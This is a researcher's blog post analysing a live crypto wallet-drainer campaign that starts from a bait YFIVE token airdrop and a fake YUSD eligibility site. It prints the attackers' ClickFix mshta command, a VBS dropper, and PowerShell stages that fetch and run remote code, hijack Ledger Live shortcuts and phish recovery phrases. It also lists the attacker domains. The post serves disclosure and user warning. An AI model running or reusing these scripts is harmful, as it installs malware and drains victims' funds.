At the end of July 2025, something unusual landed in my Ethereum wallet: a tiny ERC-20 token, 0.0001 YFIVE.FINANCE (YFIVE).
This wasn’t the first time I had received random assets. I’d seen a few NFTs arrive out of nowhere before, but this was the first time it was an actual token.
At first I assumed it might be an airdrop, but the amount was extremely small, and I don’t use this address for Web3 applications, it’s just a cold wallet for holding a few tokens. Curiosity got the best of me, so I started digging.
Following the Trail Link to heading
I checked CoinMarketCap and Etherscan:
- CoinMarketCap: YFIVE Finance
- Etherscan: 0xd3E8695d2Bef061EAb38B5EF526c0f714108119C
Everything looked legitimate at first glance: the project had been listed since 2020 and had an active X account (YFIVE Finance).
The website linked on CoinMarketCap, hxxps[:]//www.yfive[.]finance/, immediately redirected to another domain: hxxps[:]//hub-yieldusd[.]net/.
- A quick
curl
to the hub domain returned a 307 redirect to a seemingly unrelated domain, which already felt unusual. The domain changed after eachcurl
request, indicating active rotation. - At the end of July 2025, the redirection was instead to
reward-yieldusd.net
. I did not dig into that version in detail, but its layout is identical to thehub-yieldusd.net
version. The few features I looked at onreward-yieldusd.net
exist onhub-yieldusd.net
. - Visiting the hub site in a browser triggered a persistent “Connect Wallet” popup very similar to WalletConnect. Closing it made it reappear on any click on the website.
- The (fake) site claimed to advertise a token named YUSD, a “self-custodial, yield-generating stablecoin”, and asked users to check eligibility for YUSD tokens. The YUSD token exists, but it is completely unrelated to this campaign.
- There’s even a chat feature to assist users (but I didn’t test it).
Even a quick glance at the console and network activity suggested this was not a simple yield website. Images location like hxxps[:]//hub-yieldusd.net/drainer/assets/ethereum.png hinted at a wallet-draining intent.
Eligibility Checks before Wallet Draining Link to heading
It’s common for new-token pages to ask for a public address to check eligibility for an airdrop. Curious about the “eligibility check”, I tried it, but I wasn’t eligible.
I tried again with a Coinbase address (Coinbase 10) that actually held tokens.
Behind the scenes it was a POST request to /eligibility
with the following JSON:
{
"eligibilityAddress": "0xA9D1e08C7793af67e9d92fe308d5697FB81d3E43"
}
Response:
{
"value": "275713753.57",
"found": true
}
Suddenly the wallet appeared eligible for massive token claims of 4500 YUSD.
The value
in the JSON did not match the amount displayed, it was probably some internal metric representing token amounts that can be targeted. I did not investigate exactly what this number represents.
First Draining Link to heading
To explore safely, I used a Talisman wallet in my browser. I set it up with a private key obtained from keys.lol that contained only dust tokens.
I started by connecting my Talisman wallet, but I got a message telling me I wasn’t eligible.
My wallet with dust tokens was probably not worth draining.
I fired up Burp and started inspecting traffic, and saw API calls to api.hub-yieldusd.net
.
First stop: POST /connect
with my wallet address. The answer was a JSON with an empty list.
I tried again, but intercepted the request and replaced the address with the previous Coinbase address. The response was very different. Since this address held many tokens, the list this time contained 340+ elements with current balances and a "receiver"
address, one per token. Essentially it mapped out the victim wallet and prepared multiple automated transactions.
After that I received signing requests in Talisman.
I approved a few, but my wallet didn’t contain enough ETH to cover gas fees. Regardless, the flow attempted to drain tokens I didn’t hold.
In Burp I noticed multiple API calls:
POST /transaction
: submits crafted ERC-20 transactions usingpermit
orapprove
methods to transfer tokens to attacker-controlled addresses.POST /monitor
: sends the status of each transaction back to the server.
Example of a POST /transaction
:
{
"asset": {
"chainId": "0x1",
"contract": "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48",
"scheme": "erc20",
"amount": "0x4d9c5816f568",
"type": "permit",
"value": "85325355.60",
"permit": {
"nonce": 0,
"version": "2",
"name": "USD Coin"
},
"receiver": "0x25338a861a5ebc320c0a803641812f12796ade6e"
},
"response": "0xf88efcd8aee153b56a0bc39620ff87887e9219d165695ebccf77b155f0543426505cf515ac565930ad6b85e2e784cdd23125bc1ebfeb1db2fb8c84ae274f5ee51b",
"address": "0x157bfbecd023fd6384dad2bded5dad7e27bf92e4",
"chainId": "0x1",
"wallet": "Talisman"
}
The transaction failed (obviously). The /monitor
response reported an error. I trimmed the original long stack
string to the most relevant lines for the blog:
{
"process": "DRAIN_TRANSACTION_ERROR",
"error": {
"message": "Internal JSON-RPC error.",
"code": -32603,
"data": ""
},
"stack": "o@moz-extension://a242e81b-3043-4b8c-b8c9-bbc631eb91e6/page.js:1:54270\n... (trimmed for clarity) ...\nestimateGas@https://hub-yieldusd.net/c1ZfeUV8aYjb8vgljUOxbjQiodh0LJTM.js:878:652173\nEventListener.handleEvent@https://hub-yieldusd.net/c1ZfeUV8aYjb8vgljUOxbjQiodh0LJTM.js:878:687329",
"data": {
"asset": {
"chainId": "0x1",
"contract": "0xdac17f958d2ee523a2206206994597c13d831ec7",
"scheme": "erc20",
"amount": "0x1a84e7d7cb28",
"type": "approve",
"value": "29159002.43",
"receiver": "0x2abbaa036ce19b69e506976e718b5e74b6e30a2c"
}
},
"address": "0x157bfbecd023fd6384dad2bded5dad7e27bf92e4",
"chainId": "0x1",
"wallet": "Talisman"
}
I let the drainer run in the background, approving and dismissing popups about insufficient gas fees, and explored other features.
At some point I checked revoke.cash
to inspect the permissions I was granting. Quite impressive.
Discovering Advanced Features Link to heading
I inspected the JavaScript code to find additional endpoints and to check whether any wallet addresses were hardcoded. I found the following (in addition to /transaction
, /monitor
, and /eligibility
):
/import
: attempts to steal the wallet mnemonic or private key directly./walletapp/command
and/walletapp/verify
: unclear at first, but the JS checked the user agent; given the endpoint names, I assumed they interact with software/hardware wallets.
At this point I understood the operation was more advanced than I’d thought. I observed multiple independent mechanisms designed to achieve the same objective: draining wallets. The drainer is modular and multi-pronged, not just a single linear workflow.
Giving Your Mnemonic Link to heading
I went back to the (overridden) WalletConnect popup. In the list I saw a line called “Different wallet,” and it asked for the mnemonic.
Behind the scenes it was POSTing the mnemonic via the /import
endpoint in AJAX, so even if you don’t confirm the connection because you realize it’s a bad idea, it may already have sent sensitive data.
I clicked on Ledger in the popup to explore walletapp
features. I was still using a Linux user agent and it asked for the mnemonic as well; behind the scenes it used the same /import
endpoint.
Advanced Drainer (Windows) Link to heading
I switched my user agent to a Windows string and tried Ledger and Trezor flows; the behavior changed. A ClickFix payload message was displayed.
Stage 1 Link to heading
Behind the scenes, this request is performed to retrieve the payload to paste:
POST /walletapp/command HTTP/2
Host: api.hub-yieldusd.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
{"walletName":"ledger","verificationId":"9931","address":"","chainId":"","wallet":""}
Response:
{
"command": "cmd /c start /min mshta \"https://bothnationaldomainzones.com/connect.html\" & title VERIFICATION ID - 9931"
}
I visited https://bothnationaldomainzones.com/connect.html
and saw a Ledger logo on a black page.
The source turned out to be an mshta
payload that loads a VBS script.
Sub Window_onLoad()
Window.ResizeTo 520, 480
Window.MoveTo (Screen.Width - 540) \ 2, (Screen.Height - 500) \ 2
CreateScheduledTask
ClearClipboard
ShowSuccessMessage
End Sub
Sub CreateScheduledTask()
Dim svc, rootFolder, taskDef, triggers, trig, action
Dim startTime, startBoundary
startTime = DateAdd("n", 2, Now)
startBoundary = Year(startTime) & "-" & Right("0" & Month(startTime),2) & "-" & _
Right("0" & Day(startTime),2) & "T" & _
Right("0" & Hour(startTime),2) & ":" & _
Right("0" & Minute(startTime),2) & ":00"
Set svc = CreateObject("Schedule.Service")
svc.Connect()
Set rootFolder = svc.GetFolder("\")
Set taskDef = svc.NewTask(0)
taskDef.Settings.DisallowStartIfOnBatteries = False
taskDef.Settings.StopIfGoingOnBatteries = False
Set triggers = taskDef.Triggers
Set trig = triggers.Create(2)
trig.StartBoundary = startBoundary
trig.DaysInterval = 1
Set action = taskDef.Actions.Create(0)
action.Path = "powershell.exe"
action.Arguments = "-NoProfile -ExecutionPolicy Bypass -WindowStyle Minimized " & _
"-Command ""Invoke-WebRequest -Uri 'https://freewhoisprivacyprotection.su/73b4-4025.html' -UseBasicParsing | Invoke-Expression"""
Const TASK_CREATE_OR_UPDATE = 6
Const TASK_LOGON_NONE = 0
rootFolder.RegisterTaskDefinition "x", taskDef, _
TASK_CREATE_OR_UPDATE, "", "", TASK_LOGON_NONE
End Sub
Sub ClearClipboard()
Dim objHTML
Set objHTML = CreateObject("htmlfile")
objHTML.parentWindow.clipboardData.setData "text", ""
Set objHTML = Nothing
End Sub
Sub ShowSuccessMessage()
document.getElementById("success").style.display = "block"
End Sub
The VBS creates a scheduled task that downloads and executes a PowerShell script, providing persistent access via a scheduled task.
Stage 2 Link to heading
The PowerShell script (https://freewhoisprivacyprotection.su/73b4-4025.html
) looks like this:
$ledgerLivePath = "C:\Program Files\Ledger Live"
function Check-LedgerLivePath {
if (-Not (Test-Path $ledgerLivePath)) {
return $false
}
return $true
}
$pathExists = Check-LedgerLivePath
if (-not $pathExists) {
exit 1
}
$packagesPath = [System.IO.Path]::Combine($env:LOCALAPPDATA, "Packages")
$sourcePath1 = "C:\Users\Public\Desktop\Ledger Live.lnk"
$sourcePath2 = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Ledger Live.lnk"
$tempPath1 = [System.IO.Path]::Combine($packagesPath, "Ledger Live.lnk")
$tempPath2 = [System.IO.Path]::Combine($packagesPath, "Ledger Live (Start Menu).lnk")
$publicShortcutExists = Test-Path $sourcePath1
if ($publicShortcutExists) {
Move-Item -Path $sourcePath1 -Destination $tempPath1 -Force
}
if (Test-Path $sourcePath2) {
Move-Item -Path $sourcePath2 -Destination $tempPath2 -Force
}
$batFilePath = [System.IO.Path]::Combine($packagesPath, "test.bat")
$batFileContent = @"
@echo off
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ""$packagesPath\ooo.ps1""
exit
"@
$batFileContent | Out-File -FilePath $batFilePath -Encoding UTF8
$ps1FilePath = [System.IO.Path]::Combine($packagesPath, "ooo.ps1")
$url = "https://freewhoisprivacyprotection.su/83d0-bed2a.php"
$response = Invoke-WebRequest -Uri $url -UseBasicParsing
$response.Content | Out-File -FilePath $ps1FilePath -Encoding UTF8
$vbscriptCode = @'
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "%LOCALAPPDATA%\Packages\test.bat", 0, False
'@
$vbsFilePath = [System.IO.Path]::Combine($packagesPath, "zzz.vbs")
Set-Content -Path $vbsFilePath -Value $vbscriptCode
Start-Sleep -Seconds 1
$threeDObjectsPath = Join-Path -Path $env:USERPROFILE -ChildPath "3D Objects"
if (-Not (Test-Path $threeDObjectsPath)) {
New-Item -Path $threeDObjectsPath -ItemType Directory | Out-Null
}
if ($pathExists) {
$shell = New-Object -ComObject WScript.Shell
if ($publicShortcutExists) {
$shortcutPath = [System.IO.Path]::Combine([Environment]::GetFolderPath('Desktop'), "Ledger Live.lnk")
} else {
$shortcutPath = [System.IO.Path]::Combine($threeDObjectsPath, "Ledger Live.lnk")
}
$iconPath = "C:\Program Files\Ledger Live\Ledger Live.exe"
$shortcut = $shell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $vbsFilePath
$shortcut.IconLocation = $iconPath
$shortcut.Description = "Ledger Live - Desktop"
$shortcut.Save()
}
try {
(Get-Item $threeDObjectsPath).LastWriteTime = Get-Date
} catch {}
In short, the script:
- Checks if Ledger Live is installed.
- Moves existing Ledger Live shortcuts to a hidden folder.
- Downloads a malicious PowerShell script from a remote URL.
- Creates a batch file and VBScript to run the script hidden.
- Replaces the user’s Ledger Live shortcut with a malicious shortcut.
- Hides evidence by adjusting folder timestamps.
Stage 3 Link to heading
I navigated to https://freewhoisprivacyprotection.su/83d0-bed2a.php
, which served another PowerShell script:
$edgeProcess = Start-Process "msedge.exe" -ArgumentList "--user-data-dir=C:\Temp\EdgeNoSettings --window-position=-20000,-20000 --new-window --app=https://registermultipledomainsatoncewithease.su/whatisthis123"
Start-Sleep -Seconds 4
$edgeWindow = Get-Process | Where-Object { $_.MainWindowTitle -like "*Ledger Live*" }
if ($edgeWindow) {
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class WindowManagement {
[DllImport("user32.dll")]
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int x, int y, int width, int height, uint uFlags);
[DllImport("user32.dll")]
public static extern int GetSystemMetrics(int nIndex);
}
"@
$hWnd = $edgeWindow.MainWindowHandle
$screenWidth = [WindowManagement]::GetSystemMetrics(0)
$screenHeight = [WindowManagement]::GetSystemMetrics(1)
$windowWidth = 1024
$windowHeight = 768
$x = ($screenWidth - $windowWidth) / 2
$y = ($screenHeight - $windowHeight) / 2
[WindowManagement]::SetWindowPos($hWnd, [IntPtr]::Zero, [int]$x, [int]$y, $windowWidth, $windowHeight, 0x0040)
}
This script:
- Opens Edge in a hidden/off-screen window pointing to a suspicious URL.
- Searches for a Ledger Live window.
- If found, centers and resizes it, potentially to prepare screen overlay attacks (fake popups for stealing credentials).
Final stage: draining Link to heading
The /whatisthis123
endpoint redirected (302) to another site:
GET /whatisthis123 HTTP/1.1
Host: registermultipledomainsatoncewithease.su
...
HTTP/2 302 Found
Location: https://thisisatestofsendingapostrequest.com/xea3802d8ha32ds.html
https://thisisatestofsendingapostrequest.com/xea3802d8ha32ds.html
is a fake Ledger web app. It looks convincingly like the real app: a blurry portfolio screen with an error that asks for the recovery mnemonic.
The words are sent via AJAX:
Trezor Link to heading
The Trezor flow uses the same payload and stages as the Ledger flow but with different domains; it may still be under development:
https://peaceofmindzone.com/connect.html
→https://freedomainprivacyprotection.su/za33-bj6x.html
(this last domain didn’t resolve at the time of analysis).
Key Takeaways / Warnings Link to heading
- This is a sophisticated wallet drainer, disguised as a legitimate airdrop site. Domains are quite new and it’s probably still in development.
The receiver addresses are multiple and change when you call the
/connect
endpoint, making on-chain analysis, and identifying drained victims, difficult or impossible. - Never connect a wallet to unknown websites, even for tiny “airdrops”.
- Check permissions on revoke.cash regularly to revoke any approvals.
- Watch for phishing redirections, fake wallet apps, or sites asking for mnemonics.
Indicators of Compromise (IoCs) from this campaign:
- Domains:
hub-yieldusd.net
,reward-yieldusd.net
,bothnationaldomainzones.com
,registermultipledomainsatoncewithease.su
,peaceofmindzone.com
,freedomainprivacyprotection.su
,freewhoisprivacyprotection.su
,thisisatestofsendingapostrequest.com
- Address sending the YFIVE token:
0x95b6d806fde0f21ef31603de69e56f783ed2e13d
Conclusion Link to heading
A random tiny ERC-20 token sparked curiosity and led to the discovery of a live, ongoing wallet-draining campaign. The combination of fake airdrops, malicious wallet popups, and follow-on malware demonstrates how even seasoned crypto users need to stay vigilant.
I suspect attackers found that the original domain/project was abandoned (or discovered a misconfiguration) and repurposed it, buying some tokens and sending them to many addresses as bait.
PS: The website is protected by Cloudflare, and I was automatically blocked at one point.